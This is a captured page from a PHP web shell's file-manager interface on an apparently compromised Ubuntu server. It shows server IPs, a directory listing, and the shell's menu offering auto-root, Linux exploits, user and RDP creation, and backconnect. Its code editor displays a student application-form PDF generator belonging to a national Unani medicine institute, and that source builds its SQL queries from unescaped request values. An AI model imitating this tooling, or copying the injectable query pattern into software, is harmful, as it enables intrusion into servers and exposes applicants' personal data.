Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.147.103.33
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
misc /
public_html /
nium /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
applicationForm.php
19.66
KB
-rwxr-xr-x
applicationFormReportSBM.php
21.55
KB
-rwxr-xr-x
candidate_report.php
5.99
KB
-rwxr-xr-x
cappcontext.php
2.87
KB
-rwxr-xr-x
coutput.php
1.75
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
getnumword.php
7.15
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
2.12
KB
-rwxr-xr-x
main.php
9
KB
-rwxr-xr-x
mregistry.php
2.91
KB
-rwxr-xr-x
mregistry_15092014.php
2.38
KB
-rwxr-xr-x
registration.php
41.83
KB
-rwxr-xr-x
registration09082016.php
31.84
KB
-rwxr-xr-x
registration1.php
21.71
KB
-rwxr-xr-x
registration_27082015.php
31.68
KB
-rwxr-xr-x
registration_before_hallticket...
23.29
KB
-rwxr-xr-x
registration_closed_after_last...
32.47
KB
-rwxr-xr-x
registration_old.php
22.54
KB
-rwxr-xr-x
report_hall_ticket.php
11.15
KB
-rwxr-xr-x
reports.php
5.29
KB
-rwxr-xr-x
sample.php
9.27
KB
-rwxr-xr-x
sample_pdf.pdf
13.52
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : applicationFormReportSBM.php
<?php $main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7); $pdf_writer_class =$main_src."/tarka_pdf/fpdf.php"; require_once($pdf_writer_class); require_once("report_hall_ticket.php"); class applicationFormReport { function DefaultConstructor($aobj_context) { $this->aobj_context=$aobj_context; $this->pdf= new FPDF(); $this->pdf=$this; $this->pdfp= new FPDF(); $this->pdfp=$this; $this->app_no=trim($this->aobj_context->mobj_data["app_no"]); $this->ip=$_SERVER["REMOTE_ADDR"]; $get_date="select date_add(date_add(now(),INTERVAL 13 hour),interval 30 minute) as now_date"; $obj=$this->aobj_context->mobj_db->GetRow($get_date); require_once("getnumword.php"); $this->current_date=$obj[now_date]; $this->pdf = new FPDF(); $this->pdf->SetMargins(2,5,2); $this->pdf->addPage('L'); } function formcolldata() { $get_coll_name="select FUNIVNAME as 'FUNIVNAME', faddress as 'state', pdf_logo_path From control"; $lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name); $this->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME']; $this->s_state=$lobj_get_coll_name['state']; $this->f_year=$lobj_get_coll_name['f_year']; $this->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path']; $this->FEXAMAPPREQ=$lobj_get_coll_name['FEXAMAPPREQ']; } function GetBankDetails() { $get_data="SELECT bank_name, acc_no, branch_name, branch_code, ifsc_code, cheque_favour, place,bank_charge FROM acc_mas where payment_type='SBI'"; $lobj_get_data= $this->aobj_context->mobj_db->GetRow($get_data); $this->bank_name=$lobj_get_data['bank_name']; $this->acc_no=$lobj_get_data['acc_no']; $this->branch_name=$lobj_get_data['branch_name']; $this->branch_code=$lobj_get_data['branch_code']; $this->ifsc_code=$lobj_get_data['ifsc_code']; $this->cheque_favour=$lobj_get_data['cheque_favour']; $this->place=$lobj_get_data['place']; $this->bank_charge=$lobj_get_data['bank_charge']; } function GetData($aobj_context) { $application_number=$aobj_context->mobj_data["application_number"]; $get_app_no ="select fyear, fsubcode, fappno,mascat.fcatdesc,mascat.ffee, fregno, fname, DATE_FORMAT(fdob,'%d/%m/%Y') as fdob, fgender, student.fcatcode, fnational, fph, fgoi, fgis, fdomicile, fmotname, ffatname, faddr1, faddr2, faddr3, faddr4, faddp1, faddp2, faddp3, faddp4, fphone, fmobile, faltmobile, femail, fcollege, funiversity, DATE_FORMAT(fdoi,'%d/%m/%Y') as fdoi, fpercent, fmaxmarks1, fsecmarks1,fpercnt1, fnoatt1, fpassmth1, fmaxmarks2, fsecmarks2, fpercnt2, fnoatt2, fpassmth2, fmaxmarks3, fsecmarks3, fpercnt3,fnoatt3, fpassmth3, case when fmaxmarks4 = 0 then '' else fmaxmarks4 end as fmaxmarks4 , case when fsecmarks4 = 0 then '' else fsecmarks4 end as fsecmarks4 ,fpercnt4,case when fnoatt4 = 0 then '' else fnoatt4 end as fnoatt4 , fpassmth4, case when fmaxmarks5 = 0 then '' else fmaxmarks5 end as fmaxmarks5 ,case when fsecmarks5 = 0 then '' else fsecmarks5 end as fsecmarks5 , fpercnt5,case when fnoatt5 = 0 then '' else fnoatt5 end as fnoatt5 , fpassmth5, fchallanno, DATE_FORMAT(fchallandate,'%d/%m/%Y') as fchallandate, fchallanamount, fbank, fbranch, flogdate, flogip, photo_path,fmaxtotal,fsecuretotal from student,mascat where fappno = '{$application_number}' and mascat.fcatcode = student.fcatcode"; // var_dump($get_app_no); $obj_get_app_no=$this->aobj_context->mobj_db->GetRow($get_app_no); $this->fsubcode=$obj_get_app_no['fsubcode']; $this->fappno=$obj_get_app_no['fappno']; $this->student_name=$obj_get_app_no['fname']; $this->fcatdesc=$obj_get_app_no['fcatdesc']; $this->ffee=$obj_get_app_no['ffee']; $this->addr1=$obj_get_app_no['faddr1']; $this->addr2=$obj_get_app_no['faddr2']; $this->addr3=$obj_get_app_no['faddr3']; $this->addr4=$obj_get_app_no['faddr4']; $this->fmobile=$obj_get_app_no['fmobile']; $get_exam_details="SELECT GROUP_CONCAT(DISTINCT FEXAMNO) AS FEXAMNO FROM appcanddet WHERE APPNO='{$this->app_no}'"; $lobj_get_exam_details= $this->aobj_context->mobj_db->GetRow($get_exam_details); $this->FEXAMNO= $lobj_get_exam_details['FEXAMNO']; $this->GetBankDetails(); } function WriteRect() { $width=96; $this->pdf->Rect(2,5,$width,200); $this->pdf->Rect(2+$width+2,5,$width,200); $this->pdf->Rect(2+$width+$width+4,5,$width,200); if(!empty($this->pdf_logo_path)) { $img_logo_path=$this->aobj_context->main_src.$this->pdf_logo_path; $this->pdf->Image($img_logo_path,4,6,15,10); $this->pdf->Image($img_logo_path,$width+6,6,15,10); $this->pdf->Image($img_logo_path,$width+$width+7,6,15,10); } $this->pdf->setY(7); } function formData($label) { $line_height=5; $width=96; $x_pos=2; if($this->pos==2) $x_pos=2+$width+2; if($this->pos==3) $x_pos=2+$width+2+$width+2; $jump_width=$width; if($this->pos==2) $jump_width=$width; else if($this->pos==3) $jump_width=$width; $this->pdf->SetX($x_pos); $this->old_y=$this->pdf->GetY(); $this->pdf->SetFont('Times','B',11); $this->pdf->Cell($jump_width,$line_height,$this->FUNIVNAME,'0',1,'C'); $this->pdf->SetFont('Times','B',7); $this->pdf->SetX($x_pos); $this->pdf->Cell($jump_width,$line_height,"Kottigepalya, Magadi Main Road, Bangalore, Karnataka - 560 091",'0',1,'C'); $this->pdf->SetFont('Times','B',9); $this->pdf->SetX($x_pos); $this->pdf->Cell($jump_width,$line_height,"CHALLAN",'0',1,'C'); $this->pdf->SetFont('Times','BU',9); $this->pdf->SetX($x_pos); $this->pdf->Cell($jump_width,$line_height,$label,'0',1,'C'); $this->pdf->SetFont('Times','B',9); $this->pdf->SetX($x_pos); $this->pdf->Cell($jump_width,$line_height,"NIUM CPF",'0',1,'C'); $this->pdf->SetFont('Times','B',9); $this->pdf->SetX($x_pos); $this->pdf->Cell($jump_width,$line_height,"S.B. A/C No. : {$this->acc_no}",'0',1,'C'); $this->pdf->SetX($x_pos); $this->pdf->Cell($jump_width,$line_height,"IFSC CODE : {$this->ifsc_code}",'0',1,'C'); $this->pdf->SetX($x_pos); $this->pdf->Cell($jump_width,$line_height,"PAYABLE AT ALL BRANCHES OF STATE BANK OF INDIA",'0',1,'C'); $td1_width=$jump_width*(0.30)-1; $td2_width=$jump_width-$td1_width-2; $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"Name of the Bank",'1',0,'L'); $this->pdf->Cell($td2_width,$line_height,"{$this->bank_name}",'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"Branch Name",'1',0,'L'); $this->pdf->Cell($td2_width,$line_height,"",'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"Student Name",'1',0,'L'); $this->pdf->Cell($td2_width,$line_height,$this->student_name,'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"Address",'LRT',0,'L'); $this->pdf->Cell($td2_width,$line_height,$this->addr1,'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"",'LR',0,'L'); $this->pdf->Cell($td2_width,$line_height,$this->addr2,'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"",'LR',0,'L'); $this->pdf->Cell($td2_width,$line_height,$this->addr3,'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"",'LRB',0,'L'); $this->pdf->Cell($td2_width,$line_height,$this->addr4,'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"Mobile",'1',0,'L'); $this->pdf->Cell($td2_width,$line_height,$this->fmobile,'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"Category",'1',0,'L'); $this->pdf->Cell($td2_width,$line_height,$this->fcatdesc,'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"App. No.",'1',0,'L'); $this->pdf->Cell($td2_width,$line_height,$this->fappno,'1',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"Course Name",'1',0,'L'); $this->pdf->Cell($td2_width,$line_height,"MD / MS (UNANI)",'1',1,'L'); $this->pdf->ln(4); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($jump_width,$line_height,"Post Graduate Entrance Test Fee",'0',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->SetFont('Times','B',10); $tdd1_width=$jump_width*(0.50)-1; $tdd2_width=($jump_width)*(0.50)-1 ; $this->pdf->SetX($x_pos+1); $this->pdf->Cell($tdd1_width,$line_height,'Fee Remitted','1',0,'C'); $this->pdf->Cell($tdd2_width,$line_height,"Rs. {$this->ffee}/-",'1',1,'C'); $this->pdf->SetX($x_pos+1); $in_words=getNumber($this->ffee); $this->pdf->Cell($jump_width,$line_height,"Amount (in words) Rupees: {$in_words}",'0',1,'L'); $this->pdf->ln(3); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($jump_width,$line_height,"Note: Amount once paid will not be refunded",'0',1,'C'); $this->pdf->SetFont('Times','',10); $this->pdf->ln(10); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"Date",'0',0,'L'); $this->pdf->Cell($td2_width,$line_height,"Signature of Remitter ",'0',1,'R'); $this->pdf->SetFont('Times','BU',10); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($jump_width,$line_height,"For the use of Bank",'0',1,'C'); $this->pdf->SetFont('Times','',10); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($jump_width,$line_height,"Amount (in words) Rupees.........................................................",'0',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($jump_width,$line_height,"......................................................................................................",'0',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($jump_width,$line_height,"......................................................................................................",'0',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($jump_width,$line_height,"",'0',1,'L'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($jump_width,$line_height,"Challan No. : ",'0',1,'L'); $this->pdf->ln(3); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"Date & Bank Seal",'0',0,'L'); $this->pdf->Cell($td2_width,$line_height,"Signature of the Cashier",'0',1,'R'); $this->pdf->SetX($x_pos+1); $this->pdf->Cell($td1_width,$line_height,"",'0',0,'L'); $this->pdf->Cell($td2_width,$line_height,"receiving the money",'0',1,'R'); $this->pdf->SetY($this->old_y); $img_path=$this->aobj_context->main_src.$this->photo_path; } function WriteHallTicket($aobj_context) { $application_number=$aobj_context->mobj_data["application_number"]; $pdf = $this->pdf; $this->pdf->SetMargins(10,10,2); $pdf->AddPage(); $pdf->AliasNbPages(); $pdf->Image('images/nium.jpg',10,7,23); //Arial bold 15 $pdf->SetFont('Arial','B',15); $pdf->Cell(0,6,'NATIONAL INSTITUTE OF UNANI MEDICINE',0,1,'C'); //Line break $pdf->SetFont('Times','B',9); $pdf->cell(0,6,"Kottigepalya, Magadi Main Road, Bangalore, Karnataka - 560 091","0",1,"C"); // $this->Cell(90); $pdf->SetFont('Arial','B',12); $pdf->Cell(0,6,'PGET 2016 - MD / MS (UNANI)',0,1,'C'); $pdf->Cell(0,6,"APPLICATION FORM","0",1,"C"); $sql_query_header ="select fyear, fsubcode, fappno, fregno, fname, DATE_FORMAT(fdob,'%d/%m/%Y') as fdob, fgender, fcatcode, fnational, fph, fgoi, fgis, fdomicile, fmotname, ffatname, faddr1, faddr2, faddr3, faddr4, faddp1, faddp2, faddp3, faddp4, fphone, fmobile, faltmobile, femail, fcollege, funiversity, DATE_FORMAT(fdoi,'%d/%m/%Y') as fdoi, fpercent, fmaxmarks1, fsecmarks1,fpercnt1, fnoatt1, fpassmth1, fmaxmarks2, fsecmarks2, fpercnt2, fnoatt2, fpassmth2, fmaxmarks3, fsecmarks3, fpercnt3,fnoatt3, fpassmth3, case when fmaxmarks4 = 0 then '' else fmaxmarks4 end as fmaxmarks4 , case when fsecmarks4 = 0 then '' else fsecmarks4 end as fsecmarks4 ,fpercnt4,case when fnoatt4 = 0 then '' else fnoatt4 end as fnoatt4 , fpassmth4, case when fmaxmarks5 = 0 then '' else fmaxmarks5 end as fmaxmarks5 ,case when fsecmarks5 = 0 then '' else fsecmarks5 end as fsecmarks5 , fpercnt5,case when fnoatt5 = 0 then '' else fnoatt5 end as fnoatt5 , fpassmth5, fchallanno, DATE_FORMAT(fchallandate,'%d/%m/%Y') as fchallandate, fchallanamount, fbank, fbranch, flogdate, flogip, photo_path,fmaxtotal,fsecuretotal from student where fappno = '{$application_number}'"; // var_dump($sql_query_header); $lobj_sql_query_header = $aobj_context->mobj_db->GetRow($sql_query_header); $fname=$lobj_sql_query_header[fname]; $fdob=$lobj_sql_query_header[fdob]; $fgender=$lobj_sql_query_header[fgender]; $fcatcode=$lobj_sql_query_header[fcatcode]; $fnational=$lobj_sql_query_header[fnational]; $fph=$lobj_sql_query_header[fph]; if($fph == 'T') $fph="Yes"; else $fph = 'No'; $fgoi=$lobj_sql_query_header[fgoi]; if($fgoi === 'T') $fgoi="Yes"; else $fgoi = 'No'; $fgis=$lobj_sql_query_header[fgis]; if($fgis === 'T') $fgis="Yes"; else $fgis = 'No'; $fdomicile=$lobj_sql_query_header[fdomicile]; $sql_query_domicile="select fstatename from masstate where fstatecode = '{$fdomicile}'"; $lobj_sql_query_domicile = $aobj_context->mobj_db->GetRow($sql_query_domicile); $fdomicile=$lobj_sql_query_domicile[fstatename]; $fmotname=$lobj_sql_query_header[fmotname]; $ffatname=$lobj_sql_query_header[ffatname]; $faddr1=$lobj_sql_query_header[faddr1]; $faddr2=$lobj_sql_query_header[faddr2]; $faddr3=$lobj_sql_query_header[faddr3]; $faddr4=$lobj_sql_query_header[faddr4]; $faddp1=$lobj_sql_query_header[faddp1]; $faddp2=$lobj_sql_query_header[faddp2]; $faddp3=$lobj_sql_query_header[faddp3]; $faddp4=$lobj_sql_query_header[faddp4]; $fphone=$lobj_sql_query_header[fphone]; $fmobile=$lobj_sql_query_header[fmobile]; $faltmobile=$lobj_sql_query_header[faltmobile]; $femail=$lobj_sql_query_header[femail]; $fcollege=$lobj_sql_query_header[fcollege]; $funiversity=$lobj_sql_query_header[funiversity]; $fdoi=$lobj_sql_query_header[fdoi]; $fpercent=$lobj_sql_query_header[fpercent]; $fmaxmarks1=$lobj_sql_query_header[fmaxmarks1]; $fsecmarks1=$lobj_sql_query_header[fsecmarks1]; $fpercnt1=$lobj_sql_query_header[fpercnt1]; $fnoatt1=$lobj_sql_query_header[fnoatt1]; $fpassmth1=$lobj_sql_query_header[fpassmth1]; $fmaxmarks2=$lobj_sql_query_header[fmaxmarks2]; $fsecmarks2=$lobj_sql_query_header[fsecmarks2]; $fpercnt2=$lobj_sql_query_header[fpercnt2]; $fnoatt2=$lobj_sql_query_header[fnoatt2]; $fpassmth2=$lobj_sql_query_header[fpassmth2]; $fmaxmarks3=$lobj_sql_query_header[fmaxmarks3]; $fsecmarks3=$lobj_sql_query_header[fsecmarks3]; $fpercnt3=$lobj_sql_query_header[fpercnt3]; $fnoatt3=$lobj_sql_query_header[fnoatt3]; $fpassmth3=$lobj_sql_query_header[fpassmth3]; $fmaxmarks4=$lobj_sql_query_header[fmaxmarks4]; $fsecmarks4=$lobj_sql_query_header[fsecmarks4]; $fpercnt4=$lobj_sql_query_header[fpercnt4]; $fnoatt4=$lobj_sql_query_header[fnoatt4]; $fpassmth4=$lobj_sql_query_header[fpassmth4]; $fmaxmarks5=$lobj_sql_query_header[fmaxmarks5]; $fsecmarks5=$lobj_sql_query_header[fsecmarks5]; $fpercnt5=$lobj_sql_query_header[fpercnt5]; $fnoatt5=$lobj_sql_query_header[fnoatt5]; $fpassmth5=$lobj_sql_query_header[fpassmth5]; $fchallanno=$lobj_sql_query_header[fchallanno]; $fchallandate=$lobj_sql_query_header[fchallandate]; $photo_path =$lobj_sql_query_header[photo_path]; $maxtotal =$lobj_sql_query_header[fmaxtotal]; $fsecuretotal =$lobj_sql_query_header[fsecuretotal]; $fchallanamount=number_format($lobj_sql_query_header[fchallanamount]); $fbank=$lobj_sql_query_header[fbank]; $fbranch=$lobj_sql_query_header[fbranch]; $flogdate=$lobj_sql_query_header[flogdate]; $flogip=$lobj_sql_query_header[flogip]; $pdf->SetFont('Arial','B',13); if(!empty($photo_path) && file_exists($photo_path)) { $pdf->Image($photo_path,166,50,30); } // $pdf->Cell(60); $pdf->SetFont('Times','B',12); $pdf->Cell(80,10,"Application No. : ".$application_number,0,0,'L'); $pdf->Cell(50); $pdf->Cell(40,10,'Registration No. : __________',0,1,'L'); $pdf->SetFont('Arial','BU',14); $pdf->Cell(180,10,'Personal Details',0,1,'L'); $faddrs_corrp = $faddr1." ".$faddr2." ".$faddr3." ".$faddr4; $faddrs_per = $faddp1." ".$faddp2." ".$faddp3." ".$faddp4; $formDate=array($fname,$fdob,$fgender,$fcatcode,$fnational,$fph,$fgoi,$fgis,$fdomicile,$fmotname,$ffatname,$fmobile,$faltmobile,$fphone,$femail); $w=array(9,9,9,9,9,9,9,9,9,9,9,9,9,9,9); $formFields=array('01. Name','02. Date of Birth','03. Gender','04. Category','05. Nationality','06. Whether Physically Disabled','07. Whether GOI Nominee','08. Whether Govt.In-Service Candidate','09. Domicile State','10. Mothers Name','11. Fathers Name','12. Mobile No.','13. Alternate Mobile No.','14. Phone No.','15. Email ID'); $pdf->SetFont('Arial','',11); for($i=0;$i<count($formFields);$i++) { $pdf->Cell(80,$w[$i],$formFields[$i],0,0,'L'); $pdf->Cell(10,$w[$i],":","0",0,"C"); $pdf->Cell(80,$w[$i],$formDate[$i],0,1,'L'); } $pdf->Cell(80,8,'16. Address for Correspondence',0,0,'L'); $pdf->cell(10,8,":","0",0,"C"); $pdf->MultiCell(90,8,$faddrs_corrp,0,"L"); $pdf->Ln(20); $pdf->Cell(80,8,'17. Permanent Address',0,0,'L'); $pdf->cell(10,8,":","0",0,"C"); $pdf->MultiCell(90,8,$faddrs_per,0,"L"); $pdf->SetY(265); //Arial italic 8 $pdf->SetFont('Arial','I',8); //Page number $pdf->Cell(0,10,'Page 1 / 2',0,0,'C'); $this->pdf->SetMargins(10,10,2); $pdf->addPage(); $pdf->SetFont('Arial','BU',14); $pdf->Cell(180,10,'Details of Qualifying Examination',0,1,'L'); $formFields2=array('18. College','19. University','20. Date of completion of Internship'); $w=array(8,8,8,8); $formData2=array($fcollege,$funiversity,$fdoi,$fpercent); $pdf->SetFont('Arial','',11); for($j=0;$j<count($formFields2);$j++) { $pdf->Cell(80,$w[$j],$formFields2[$j],0,0,'L'); $pdf->Cell(10,$w[$j],":","0",0,"C"); $pdf->Cell(80,$w[$j],$formData2[$j],0,1,'L'); } $header=array('Examination' ,'Maximum Marks' ,'Secured Marks' ,'Percentage','No of Attempts','Passed Month'); $pdf->SetFillColor(255); $pdf->SetLineWidth(.4); $pdf->SetFont('','B',10); $w=array(35,35,35,35,35,35); for($i=0;$i<count($header);$i++) $pdf->Cell($w[$i]-5,10,$header[$i],1,0,'C',true); $pdf->Ln(); $pdf->SetFillColor(224,235,255); $pdf->SetTextColor(0); $pdf->SetFont('','B',10); $fill=false; //foreach($lobj_rs as $key=>$row) //{ $fexams=array("I","II","III","IV","V","Total"); $fmaxmarks=array($fmaxmarks1,$fmaxmarks2,$fmaxmarks3,$fmaxmarks4,$fmaxmarks5,$maxtotal); $fsecmarks=array($fsecmarks1,$fsecmarks2,$fsecmarks3,$fsecmarks4,$fsecmarks5,$fsecuretotal); $fpermarks=array($fpercnt1,$fpercnt2,$fpercnt3,$fpercnt4,$fpercnt5,$fpercent); $fnoatts=array($fnoatt1,$fnoatt2,$fnoatt3,$fnoatt4,$fnoatt5,''); $fpassmths=array($fpassmth1,$fpassmth2,$fpassmth3,$fpassmth4,$fpassmth5,''); for($k=0;$k<6;$k++) { $pdf->Cell($w[0]-5,8, $fexams[$k],'1',0,'C',$fill); $pdf->Cell($w[1]-5,8,$fmaxmarks[$k],'1',0,'C',$fill); $pdf->Cell($w[2]-5,8,$fsecmarks[$k],'1',0,'C',$fill); $pdf->Cell($w[2]-5,8,$fpermarks[$k],'1',0,'C',$fill); $pdf->Cell($w[3]-5,8,$fnoatts[$k],'1',0,'C',$fill); $pdf->Cell($w[4]-5,8,$fpassmths[$k],'1',1,'C',$fill); //$fill=!$fill; } //} //$pdf->Cell(array_sum($w),0,'','T'); $pdf->Ln(5); $pdf->SetFont('Arial','BU',14); $pdf->Cell(180,10,'Fee Details (to be filled after making the payment at bank)',0,1,'L'); $formFields3=array('21. Challan No','22. Date','23. Amount','24. Name of the Bank','25. Branch Name with Place'); $formData3=array($fchallanno,$fchallandate,$fchallanamount,$fbank,$fbranch); $w=array(8,8,8,8,8); $pdf->SetFont('Arial','',11); for($j=0;$j<count($formFields3);$j++) { $pdf->Cell(60,$w[$j],$formFields3[$j],0,0,'L'); $pdf->Cell(10,$w[$j],":","0",0,"C"); $pdf->Cell(80,$w[$j],"...................................................",0,1,'L'); } $pdf->Ln(5); $pdf->SetFont('Arial','BU',14); $pdf->Cell(0,10,'Declaration by the Applicant',0,1,'C'); $declarationTemp="I ______________________ ,Son / Daughter of _______________________ declare that all the statements given in this application form are true to the best of my knowledge. I understand that if any of the statements are found wrong my admission stands cancelled. If admitted, I will abide by the rules and regulations in force in NIUM and as amended from time to time and pay the prescribed fees."; $pdf->SetFont('Arial','',9); $pdf->MultiCell(0,5,$declarationTemp,0,'L'); $pdf->Ln(5); $pdf->SetFont('Arial','',11); $pdf->Cell(10,10,'Date :',0,0,'L'); $pdf->Cell(2); $pdf->Cell(115,10,'-------------------------',0,0,'L'); $pdf->Cell(0,10,'---------------------------------------',0,0,'L'); $pdf->Ln(10); $pdf->SetFont('Arial','',10); $pdf->Cell(10,10,'Place :',0,0,'L'); $pdf->Cell(2); $pdf->Cell(120,10,'-------------------------',0,0,'L'); $pdf->Cell(0,10,'Signature of the Candidate',0,0,'L'); $pdf->Ln(10); $pdf->SetFont('Arial','',11); $pdf->Cell(10,10,'For Office Use : Date of receiving of application .................................... Fee Paid Rs ..........................',0,0,'L'); $pdf->Ln(20); $pdf->Cell(85); $pdf->Cell(10,10,'Signature of receiving Clerk .....................................',0,0,'L'); $pdf->SetY(266.9); //Arial italic 8 $pdf->SetFont('Arial','I',8); //Page number $pdf->Cell(0,10,'Page 2 / 2',0,0,'C'); } function SendOutput() { $this->pdf->Output("application_letter_{$this->app_no}.pdf","D"); } } function PrintApplicationFormSBM($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj=new applicationFormReport(); $class_obj->DefaultConstructor($aobj_context); $class_obj->formcolldata(); $class_obj->GetData($aobj_context); $class_obj->WriteRect(); $class_obj->pos=1; $class_obj->formData("NIUM Copy"); $class_obj->pos=2; $class_obj->formData("Student Copy"); $class_obj->pos=3; $class_obj->formData("Bank Copy"); $class_obj->WriteHallTicket($aobj_context); $class_obj->SendOutput(); } ?>
Close